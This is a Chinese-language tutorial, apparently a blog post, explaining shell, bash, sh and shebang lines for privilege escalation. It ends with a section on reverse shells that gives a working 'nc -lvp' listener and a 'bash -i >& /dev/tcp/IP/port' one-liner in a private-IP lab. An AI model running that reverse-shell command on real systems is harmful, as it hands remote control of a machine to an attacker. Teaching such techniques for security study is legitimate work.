天天看點

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

文章目錄

  • 前言
  • 一.shell
  • 二.bash
  • 三.sh
  • 四.不同shell腳本的執行
  • 五. 什麼是反彈shell

前言

在進行滲透時,經常會出現一些名詞,比如shell,bash,\bin\bash等,為什麼在提權時需要他們。

一.shell

什麼是Shell?

shell是使用者和Linux(或者更準确的說,是使用者和Linux核心)之間的接口程式。你在提示符下輸入的每個指令都由shell先解釋然後傳給Linux核心。

shell 是一個指令語言解釋器(command-language interpreter)。
擁有自己内建的 shell 指令集。
此外,shell也能被系統中其他有效的Linux 實用程式和應用程式(utilities and application programs)所調用。
           

不論何時你鍵入一個指令,它都被Linux shell所解釋。一些指令,比如列印目前工作目錄指令(pwd),是包含在Linux bash内部的(就象DOS的内部指令)。其他指令,比如拷貝指令(cp)和移動指令(rm),是存在于檔案系統中某個目錄下的單獨的程式。而對使用者來說,你不知道(或者可能不關心)一個指令是建立在shell内部還是一個單獨的程式。

shell 首先檢查指令是否是内部指令,不是的話再檢查是否是一個應用程式,這裡的應用程式可以是Linux本身的實用程式,比如ls rm,
然後shell試着在搜尋路徑($PATH)裡尋找這些應用程式。搜尋路徑是一個能找到可執行程式的目錄清單。
如果你鍵入的指令不是一個内部指令并且在路徑裡沒有找到這個可執行檔案,将會顯示一條錯誤資訊。
而如果指令被成功的找到的話,shell的内部指令或應用程式将被分解為系統調用并傳給Linux核心。
           

二.bash

Bash是一個指令處理器,通常運作于文本視窗中,并能執行使用者直接輸入的指令。Bash還能從檔案中讀取指令,這樣的檔案稱為腳本。和其他Unix shell 一樣,它支援檔案名替換(通配符比對)、管道、here文檔、指令替換、變量,以及條件判斷和循環周遊的結構控制語句。包括關鍵字、文法在内的基本特性全部是從sh借鑒過來的。其他特性,例如曆史指令,是從csh和ksh借鑒而來。總的來說,Bash雖然是一個滿足POSIX規範的shell,但有很多擴充。

為什麼要用 bash 來代替 sh 呢?Bourne shell 最大的缺點在于它處理使用者的輸入方面。
在 Bourne shell 裡鍵入指令會很麻煩,尤其當你鍵入很多相似的指令時。
而 bash 準備了幾種特性使指令的輸入變得更容易。 
           
bash 指令概要
這是幾個最有用的bash内部指令:
alias: 設定bash别名。
bg: 使一個被挂起的程序在背景繼續執行。
cd: 改變目前工作目錄。
exit: 終止shell。
export: 使變量的值對目前shell的所有子程序都可見 。
fc: 用來編輯曆史指令清單裡的指令。
fg: 使一個被挂起的程序在前台繼續執行。
help: 顯示bash内部指令的幫助資訊。
kill: 終止某個程序。
pwd: 顯示目前工作目錄。
unalias: 删除已定義的别名。
           

bash (GNU Bourne-Again Shell) 是許多Linux發行版的預設Shell 。事實上,還有許多傳統UNIX上用的Shell,例如tcsh、csh、ash、bsh、ksh等等,Shell Script大緻都類同。

由于曆史原因,UNIX系統上有很多種Shell:

csh(C Shell):由Bill Joy開發,随BSD UNIX釋出,它的流程控制語句很像C語言,支援很多Bourne Shell所不支援的功能:作業控制,指令曆史,指令行編輯。

ksh(Korn Shell):由David Korn開發,向後相容sh的功能,并且添加了csh引入的新功能,是目前很多UNIX系統标準配置的Shell,在這些系統上/bin/sh往往是指向/bin/ksh的符号連結。

tcsh(TENEX C Shell):是csh的增強版本,引入了指令補全等功能,在FreeBSD、Mac OS X等系統上替代了csh。

bash(Bourne Again Shell):由GNU開發的Shell,主要目标是與POSIX标準保持一緻,同時兼顧對sh的相容,bash從csh和ksh借鑒了很多功能,是各種Linux發行版标準配置的Shell,在Linux系統上/bin/sh往往是指向/bin/bash的符号連結。

可使用cat /etc/shells 指令檢視自己系統可以使用的shell種類:

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

是以/bin/(shell類型)就表示哪種shell

使用者的預設Shell設定在/etc/passwd檔案中,例如: vim /etc/passwd

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

三.sh

在shell腳本的開頭往往有一句話來定義使用哪種sh解釋器來解釋腳本。

目前常見的shell腳本中主要有以下兩種方式:

(1) #!/bin/sh

(2) #!/bin/bash

注意:每個腳本開頭都使用"#!",#!實際上是一個2位元組魔法數字,這是指定一個檔案類型的特殊标記,在這種情況下,指的就是一個可執行的腳本。在#!之後,接一個路徑名,這個路徑名指定了一個解釋腳本指令的程式,這個程式可以是shell,程式語言或者任意一個通用程式。

sh是bash的一種特殊的模式,也就是 /bin/sh 相當于 /bin/bash --posix。說白了sh就是開啟了POSIX标準的bash 。

在一般的linux系統當中(如redhat),使用sh調用執行腳本相當于打開了bash的POSIX标準模式

sh一般設成bash的軟鍊:

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

四.不同shell腳本的執行

#!/bin/bash是指此腳本使用/bin/bash來解釋執行。

其中,#!是一個特殊的表示符,其後,跟着解釋此腳本的shell路徑。

bash隻是shell的一種,還有很多其它shell,如:sh,csh,ksh,tcsh,…

我們可以通過以下一個示例來進行實驗,了解#!/bin/bash的使用。

除第一行外,腳本中所有以“#”開頭的行都是注釋。

1)#!/bin/bash隻能放在第一行,如果後面還有#!,那麼隻能看成是注釋。

這裡有三個腳本(腳本都要使用”chmod +x scriptname“指令來獲得可執行權限):

tbash1.sh:

#!/bin/sh

source abc

echo “hello abc”

tbash2.sh:

#!/bin/bash

source abc

echo “hello abc”

tbash3.sh:

source abc

echo “hello abc”

三個腳本執行的結果:

[[email protected] other]$ ./tbash1.sh

./tbash1.sh: line 2: abc: No such file or directory

注:當source指令執行有問題時,sh不再往下面執行。

[[email protected] other]$ ./tbash2.sh

./tbash2.sh: line 2: abc: No such file or directory

hello abc

注:當source指令執行有問題時,bash繼續執行下面指令。

[[email protected] other]$ ./tbash3.sh

./tbash3.sh: line 1: abc: No such file or directory

hello abc

注:自身登入系統所在的shell是bash。是以,當source指令執行有問題時,bash繼續執行下面指令。

五. 什麼是反彈shell

反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,并将其指令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等标準shell對應,本質上是網絡概念的用戶端與服務端的角色反轉。

為什麼要反彈shell:

通常用于被控端因防火牆受限、權限不足、端口被占用等情形

假設我們攻擊了一台機器,打開了該機器的一個端口,攻擊者在自己的機器去連接配接目标機器(目标ip:目标機器端口),這是比較正常的形式,我們叫做正向連接配接。遠端桌面,web服務,ssh,telnet等等,都是正向連接配接。那麼什麼情況下正向連接配接不太好用了呢?

1.某客戶機中了你的網馬,但是它在區域網路内,你直接連接配接不了。

2.它的ip會動态改變,你不能持續控制。

3.由于防火牆等限制,對方機器隻能發送請求,不能接收請求。

4.對于病毒,木馬,受害者什麼時候能中招,對方的網絡環境是什麼樣的,什麼時候開關機,都是未知,是以建立一個服務端,讓惡意程式主動連接配接,才是上策。

那麼反彈就很好了解了, 攻擊者指定服務端,受害者主機主動連接配接攻擊者的服務端程式,就叫反彈連接配接。

總結:/bin/sh /bin/bash 就是表示這個shell的本身,其他腳本指令就是使用/bin/bash等shell來執行的。

反彈shell的執行個體:

受害者:

Ubuntu Linux ------> 192.168.146.128

攻擊者:

Kali Linux ------> 192.168.146.129

我們就以最常見的bash為例:

attacker機器上執行:

nc -lvp 2333
           

victim 機器上執行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
           

在攻擊者的機器上會出現:

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

釋一下這條指令具體的含義:

1.bash -i

1)bash 是linux 的一個比較常見的shell,其實linux的shell還有很多,比如 sh、zsh、等,他們之間有着細小差别

2)-i 這個參數表示的是産生互動式的shell

2./dev/tcp/ip/port

/dev/tcp|udp/ip/port 這個檔案是特别特殊的,實際上可以将其看成一個裝置(Linux下一切皆檔案),其實如果你通路這個檔案的位置他是不存在的,如下圖:

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

但是如果你在一方監聽端口的情況下對這個檔案進行讀寫,就能實作與監聽端口的伺服器的socket通信

執行個體1:

我們輸出字元串到這個檔案裡

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

攻擊者機器上的輸出:

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

執行個體2:

攻擊機上的輸入

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

受害者機器上的輸出:

在提權時常用的術語解釋前言一.shell二.bash三.sh四.不同shell腳本的執行五. 什麼是反彈shell

在反彈shell時,一般會反彈的shell為/bin/bash(linux)。

總而言之,shell是操作主機的接口,反彈shell就是把shell送給别人,讓其它人可以操作自己的計算機。

文章參考:

https://blog.csdn.net/u014470361/article/details/88049410

先知社群:Linux 反彈shell(二)反彈shell的本質

https://xz.aliyun.com/t/2549